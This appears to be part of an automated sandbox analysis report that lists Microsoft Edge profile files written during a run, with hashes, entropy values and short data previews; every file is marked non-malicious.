C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	634754
Entropy (8bit):	6.0159850625432325
Encrypted:	false
SSDEEP:	12288:buI3w0C3yk5azcJKDlamnnetXyWlQAuKi6CJncqN/iEytEHa8MB3nXH5qIa:buIOaDZnelQ7UtE61ZO
MD5:	BFA2B96DA79B8F0360529FFCB34F15C0
SHA1:	E08F5801361A23B5D6D2D35F0E476F28F1D7704D
SHA-256:	0CA3D4451269CB757116BDF7698D3BB9C25B07894032410174414DDF21FCEA83
SHA-512:	604A72FBC5573CC36467D92B432C4E0E1F7EFFD667A393B68A0A53FBDED08AF69FB137A67FCB50BFA6D4168318D1496A39AEDD63DDE6BEB72D572457F9ECD03A
Malicious:	false
Preview:	...m.................DB_VERSION.1.Aj..................BLOOM_FILTER:..&{"numberOfHashFunctions":8,"shiftBase":7,"bloomFilterArraySize":3757135,"primeBases":[5381,5381,5381,5381],"supportedDomains":"+jkxKZDFIy6mkxxq0tjsf3d2vlrhYHzTL6vYMdkIzMgana0cqZFcAVmBFqXm434Zpx/ft4fPPro8Q6OxEkFnPPo/DOOuXA+aN1zfalADccg+gN6r9Gc1CKdPEFmFHutEnGcVmdD4aLPdIW3dytP/4KQEhpXL2hAfj6jzDbf7TGQdWA5SSpQFYI0Yyp67objMqGpUrr+zQYtBkrQA2jMaF5zSapxdQP2TFT8XRvqt1s0Lk0Wr36BiVN2q9FGDz08P3Ubtwfoe/XCSYJcA1qNoEZWNLTwqyBYJTOv/sitypoHSyBWD+xzVVU72iCFaTt4NKAwscLidSCTnL8VjD+96VurQp9pr9DOaZTVkQ6gw6QDLV/GYD9bKGx1ibnMI+kUSBPjxMtB7NdPhgZR9DgaFqR4XcdIVgRUy7OIwnBV9E2hNXrVNnuywdgneA3JUmoJGlz88O8AHCgQeCw26T/Gxynazwgupvrs1eSIRwDii6FggwVnZr4mZWA4vcUVrolTNnofb+ytVdjlAGCEvg6pqcwXLYlf03pDJT4KVPs3Y1UFC9XyfewP7LAyW5dNSof/zlwYW3g5V9SyrXlJ3+zFz+JQifiCDLQA2skB1CHlk6KYFjefa7mi9JOKMiEq+BEiOSkg36iDR3sutAaAWw/ScGVthJE6jzqbBYnUhNAhwOlKB85sW0Qvoaefyp9tEoDH03googo/jhXx5fdLIXhNY3ZEZ2hWuRrKVLeQgzk7cTckzcUN4gGoIDEDem/QUjfEp5qAkB8QFuGuaKmQZEVY93+CA3cdU5qAwiFF

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\000004.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	142
Entropy (8bit):	5.042785735989166
Encrypted:	false
SSDEEP:	3:xl/38E28xp4m3rscUSWA6v1nlf+nETPxpK2x7L7EFnZVBFU1Pss:b38D8xSEsIFyj+n0PxEWTEP6d/
MD5:	DA3B6358B3E1D2DE71C5B456165CF06F
SHA1:	19458ACE7086E138A1965FE2115DD78689A25685
SHA-256:	E348EDCA02172751DE645A73300D69E48D58087C7FDC406B60884FC8817B4AA9
SHA-512:	5CDB9F10FE08928786C415FE4F426811119B8D2FD398FC7508A16B1C9991C608E33D1D1AA55F9761D0B66551470762F949BFB29662CB6749BE3B96BB437AD3B2
Malicious:	false
Preview:	.L.o9................BLOOM_FILTER_EXPIRY_TIME:.1732505028.198060...G................BLOOM_FILTER_LAST_MODIFIED:.Sat, 23 Nov 2024 17:12:31 GMT

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\000005.ldb

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	634729
Entropy (8bit):	6.01526622896534
Encrypted:	false
SSDEEP:	12288:DuI3/0C3ykDaUcJKtlEmfnetjyWlQguKi8CJn93N/iFytEHt8MBznXHSqpn:DuI/aajne1Q1DtEN1eS
MD5:	D547817DF59482E92616E53AB28622B1
SHA1:	3E6C8AB3DA0687D1D9B16662CAFCCE8E7A2E01FF
SHA-256:	DD75905186ECB49B6E5A1CDCA3A591E1C9BC6A8184F0DDF66D66B99AA80FD411
SHA-512:	D44E61B3216B832B6E66801027F8BD1E5C5050706E06D02B460BE1A6109CFCE36F98FC4498DB763D012E5FE2DAE02D0D31FB5C370B724ADA44BB95D944C70A2C
Malicious:	false
Preview:	....&BLOOM_FILTER:........{"numberOfHashFunctions":8,"shiftBase":7,"bloomFilterArraySize":3757135,"primeBases":[5381,5381,5381,5381],"supportedDomains":"+jkxKZDFIy6mkxxq0tjsf3d2vlrhYHzTL6vYMdkIzMgana0cqZFcAVmBFqXm434Zpx/ft4fPPro8Q6OxEkFnPPo/DOOuXA+aN1zfalADccg+gN6r9Gc1CKdPEFmFHutEnGcVmdD4aLPdIW3dytP/4KQEhpXL2hAfj6jzDbf7TGQdWA5SSpQFYI0Yyp67objMqGpUrr+zQYtBkrQA2jMaF5zSapxdQP2TFT8XRvqt1s0Lk0Wr36BiVN2q9FGDz08P3Ubtwfoe/XCSYJcA1qNoEZWNLTwqyBYJTOv/sitypoHSyBWD+xzVVU72iCFaTt4NKAwscLidSCTnL8VjD+96VurQp9pr9DOaZTVkQ6gw6QDLV/GYD9bKGx1ibnMI+kUSBPjxMtB7NdPhgZR9DgaFqR4XcdIVgRUy7OIwnBV9E2hNXrVNnuywdgneA3JUmoJGlz88O8AHCgQeCw26T/Gxynazwgupvrs1eSIRwDii6FggwVnZr4mZWA4vcUVrolTNnofb+ytVdjlAGCEvg6pqcwXLYlf03pDJT4KVPs3Y1UFC9XyfewP7LAyW5dNSof/zlwYW3g5V9SyrXlJ3+zFz+JQifiCDLQA2skB1CHlk6KYFjefa7mi9JOKMiEq+BEiOSkg36iDR3sutAaAWw/ScGVthJE6jzqbBYnUhNAhwOlKB85sW0Qvoaefyp9tEoDH03googo/jhXx5fdLIXhNY3ZEZ2hWuRrKVLeQgzk7cTckzcUN4gGoIDEDem/QUjfEp5qAkB8QFuGuaKmQZEVY93+CA3cdU5qAwiFFAdpGbqX9Avc6nL6DiAJjaAPlMW0rrhzuRdYozNg7NKIT

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	512
Entropy (8bit):	5.200961322695834
Encrypted:	false
SSDEEP:	12:lv4Yebn9GFUt8r/+4NF5LYebn95Z9bf0WfIGKVh:p4Yeb9ig8RVLYeb9zOFh
MD5:	7E856AA1ABE1DF6767C6834325F4451C
SHA1:	6A3C92DB92F386F2996F8AE7C2E94776F1D05815
SHA-256:	E79913F0A651888C84A7E5E06C824961B7192E4A6DAA26D6530C69E9D09A53E3
SHA-512:	CBD2C6ED6B28FA7A43034BB0D30BBDCBEC601FEBB444965101301DF8ED1B0D1BDB9C3CCF8C39B393DD56C0696759D2EB36298E1A1F559EAC248680C8AC8C3BD6
Malicious:	false
Preview:	2024/11/23-22:23:33.992 1494 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/23-22:23:33.992 1494 Recovering log #3.2024/11/23-22:23:33.993 1494 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .2024/11/23-22:23:48.248 155c Level-0 table #5: started.2024/11/23-22:23:48.302 155c Level-0 table #5: 634729 bytes OK.2024/11/23-22:23:48.303 155c Delete type=0 #3.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	512
Entropy (8bit):	5.200961322695834
Encrypted:	false
SSDEEP:	12:lv4Yebn9GFUt8r/+4NF5LYebn95Z9bf0WfIGKVh:p4Yeb9ig8RVLYeb9zOFh
MD5:	7E856AA1ABE1DF6767C6834325F4451C
SHA1:	6A3C92DB92F386F2996F8AE7C2E94776F1D05815
SHA-256:	E79913F0A651888C84A7E5E06C824961B7192E4A6DAA26D6530C69E9D09A53E3
SHA-512:	CBD2C6ED6B28FA7A43034BB0D30BBDCBEC601FEBB444965101301DF8ED1B0D1BDB9C3CCF8C39B393DD56C0696759D2EB36298E1A1F559EAC248680C8AC8C3BD6
Malicious:	false
Preview:	2024/11/23-22:23:33.992 1494 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/23-22:23:33.992 1494 Recovering log #3.2024/11/23-22:23:33.993 1494 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .2024/11/23-22:23:48.248 155c Level-0 table #5: started.2024/11/23-22:23:48.302 155c Level-0 table #5: 634729 bytes OK.2024/11/23-22:23:48.303 155c Delete type=0 #3.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	103
Entropy (8bit):	5.22906306325753
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjAcIhin+ngxFxN3erkEtl:scoBY7jAiHxFDkHl
MD5:	03ACA61967697F5EAD7AB425B62F1212
SHA1:	C83377F0AB3C8A9A6CBC4AC246178B76FD686359
SHA-256:	CA6F0B35314BA3BD40371729A17EA3D2960B5E73D25099E76732634E036C5804
SHA-512:	CAD56333CB85C0AAB2CAB258D3204E28B983C99D07AD4E8F1E25FAC5CF185E0A9D63C4DAD0B787F67D685A4BCD0E720CD2027084A5A722CD9EA59EC799738224
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator.......Or,7...............&.BLOOM_FILTER:.........DB_VERSION........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6134410495955158
Encrypted:	false
SSDEEP:	24:TLapR+DDNzWjJ0npnyXKUO8+jqIIppAl5mL:TO8D4jJ/6Up+8YA
MD5:	83DEFFB7DA864CCFF8A8DF8F8B4ADC25
SHA1:	C6918394C0AE0FEB42CDE37719B5A5DAD8BA3C6D
SHA-256:	933D4602C4CAA33A782E463AA68E566418C2038C82B29A70BFFDF945F71FF8FF
SHA-512:	CBADE05E507AD1B57A3932C9F0A09C0972EB4A918723FEB606051C1E4282C30475B5D5F4A154D59864DCD4A92DB1289CB21B45151C0581645C56F7945FB25443
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354169735192947
Encrypted:	false
SSDEEP:	6144:KA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:KFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	98B6EDF46118E9D87F9313652A0DA64D
SHA1:	38A07F6BFEA5D0BF6A3DB7E73BD9154913379E63
SHA-256:	0A9A9AC8C4FB20D02FDD3D9FDC50E5F5E09C4FE9393B14769BE8E763BC3A4376
SHA-512:	0BA9DD84ABC6FE586B769C08423FDFD2E4DD0D3267DC625551A796FA3407736138D003B1E00E4D5E2BD9E5415B78A00766FC0CB771AF7BD0AC7218FBE6286C8B
Malicious:	false
Preview:	...m.................DB_VERSION.1....q...............&QUERY_TIMESTAMP:domains_config_gz2...13376892225227162..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	311
Entropy (8bit):	5.115882949040173
Encrypted:	false
SSDEEP:	6:HG+mFwoM1923oH+Tcwtk2WwnvB2KLlVG+gAQyq2P923oH+Tcwtk2WwnvIFUv:iDhYebkxwnvFL4AVv4YebkxwnQFUv
MD5:	CFD9FEF9160F1E56F9D7218E85A0FAC2
SHA1:	23B75EF79330D667F8558CAF37186A3F7DEF9EC9
SHA-256:	B045834A5313375B48990E3A80EA2F21F625EF3E9F5C4CA977AC47077590BD5F
SHA-512:	D8721B0FA37AD737B4FFA923D18CAA1229BED48E6AFDB9666DE11AB216069EC87ED26CE89554267555A6A857D6284C0FC836A7DCAF4762D4CDC866333D345763
Malicious:	false
Preview:	2024/11/23-22:23:42.334 2034 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/23-22:23:42.515 2034 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324607982706097
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6R4:C1gAg1zfvA
MD5:	9B9F1D974586E1D06956690F19910986
SHA1:	FB511C5EEB10292B635B7B7F8EE60E5636AFF107
SHA-256:	E2672317E158CA59DEA6595782B33CE7C5045A0BD80BA519F3D84B50FA21FF64
SHA-512:	2B1C67E0BDDB795B78CED455723E657833E93726B8ABBB547E1EEEE6E4719675FB126DE1A9674FE38A8C5D05EA837B41492A2F8E8ACBD87B2E2D046EE35AF956
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.1460687375079175
Encrypted:	false
SSDEEP:	6:HG+Cm1+q2P923oH+Tcwt8aPrqIFUt8YG+Ch5Zmw+YG+ChtVkwO923oH+Tcwt8amd:sv4YebL3FUt8z/+p5LYebQJ
MD5:	48C83871F913B6165CCBD8AD90EFCF17
SHA1:	7320F8391B35D533B8A60EB07DBD544F991D1E85
SHA-256:	4B51FFFBFF99E199E9323AAEE886792D528539C92442F3B266F57B848AF0A07A
SHA-512:	8AD6C274ABC627E9BA8FC501E64105D250AE7D1FBA0F7E909DB6A82BA3E844F51B21A20042F8E57B421EFE97F75E80198B153EC043B80621D14A54FE03287036
Malicious:	false
Preview:	2024/11/23-22:23:33.995 ae8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/23-22:23:33.996 ae8 Recovering log #3.2024/11/23-22:23:33.996 ae8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.1460687375079175
Encrypted:	false
SSDEEP:	6:HG+Cm1+q2P923oH+Tcwt8aPrqIFUt8YG+Ch5Zmw+YG+ChtVkwO923oH+Tcwt8amd:sv4YebL3FUt8z/+p5LYebQJ
MD5:	48C83871F913B6165CCBD8AD90EFCF17
SHA1:	7320F8391B35D533B8A60EB07DBD544F991D1E85
SHA-256:	4B51FFFBFF99E199E9323AAEE886792D528539C92442F3B266F57B848AF0A07A
SHA-512:	8AD6C274ABC627E9BA8FC501E64105D250AE7D1FBA0F7E909DB6A82BA3E844F51B21A20042F8E57B421EFE97F75E80198B153EC043B80621D14A54FE03287036
Malicious:	false
Preview:	2024/11/23-22:23:33.995 ae8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/23-22:23:33.996 ae8 Recovering log #3.2024/11/23-22:23:33.996 ae8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	325
Entropy (8bit):	5.090372733642535
Encrypted:	false
SSDEEP:	6:HG+5/X9+q2P923oH+Tcwt865IFUt8YG+gZmw+YG+7v9VkwO923oH+Tcwt86+ULJ:JAv4Yeb/WFUt8x/+05LYeb/+SJ
MD5:	D93E43E66E492C8ABD8B2259E2472FB9
SHA1:	54FFDDB7512035B5760B6777E76C6304E7BADB81
SHA-256:	5C4A74F76CAAEB2F248703E7682103210BA23608009DA70ACFE1B59AEB17AA81
SHA-512:	73EE5D6B4A2BD0143A4E484A703FC015471BE9D2C2F16C199A93BE688F9D6E82F35FFE0957C1D6AA323D1421FE45B13EB8308CDF45F3E61A8F1A344EC8CC39E1
Malicious:	false
Preview:	2024/11/23-22:23:34.011 ae8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/23-22:23:34.012 ae8 Recovering log #3.2024/11/23-22:23:34.013 ae8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	325
Entropy (8bit):	5.090372733642535
Encrypted:	false
SSDEEP:	6:HG+5/X9+q2P923oH+Tcwt865IFUt8YG+gZmw+YG+7v9VkwO923oH+Tcwt86+ULJ:JAv4Yeb/WFUt8x/+05LYeb/+SJ
MD5:	D93E43E66E492C8ABD8B2259E2472FB9
SHA1:	54FFDDB7512035B5760B6777E76C6304E7BADB81
SHA-256:	5C4A74F76CAAEB2F248703E7682103210BA23608009DA70ACFE1B59AEB17AA81
SHA-512:	73EE5D6B4A2BD0143A4E484A703FC015471BE9D2C2F16C199A93BE688F9D6E82F35FFE0957C1D6AA323D1421FE45B13EB8308CDF45F3E61A8F1A344EC8CC39E1
Malicious:	false
Preview:	2024/11/23-22:23:34.011 ae8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/23-22:23:34.012 ae8 Recovering log #3.2024/11/23-22:23:34.013 ae8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.169795662234008
Encrypted:	false
SSDEEP:	6:HG+1tQL+q2P923oH+Tcwt8NIFUt8YG+fyG1Zmw+YG+fyQLVkwO923oH+Tcwt8+ed:lHv4YebpFUt8GV1/+Gl5LYebqJ
MD5:	7F309D455009F65309A3098EA1CDE49E
SHA1:	1A2EE212DA09AA586B3A1658CC07311D051F2C70
SHA-256:	984C6DEA5E85804A3B26DD3AE5C34504366C66A2B6388BB477EBBCD19F0178F3
SHA-512:	8EBA92D4D3B44B21FCE69E966ED133A69ECDF89BE87A0A6DB61106E416418D55A3F68C0E45A1D0D8413D3A585399069501576CC471CFF3B9494EEF913E2C3144
Malicious:	false
Preview:	2024/11/23-22:23:34.676 1838 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/23-22:23:34.677 1838 Recovering log #3.2024/11/23-22:23:34.677 1838 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.169795662234008
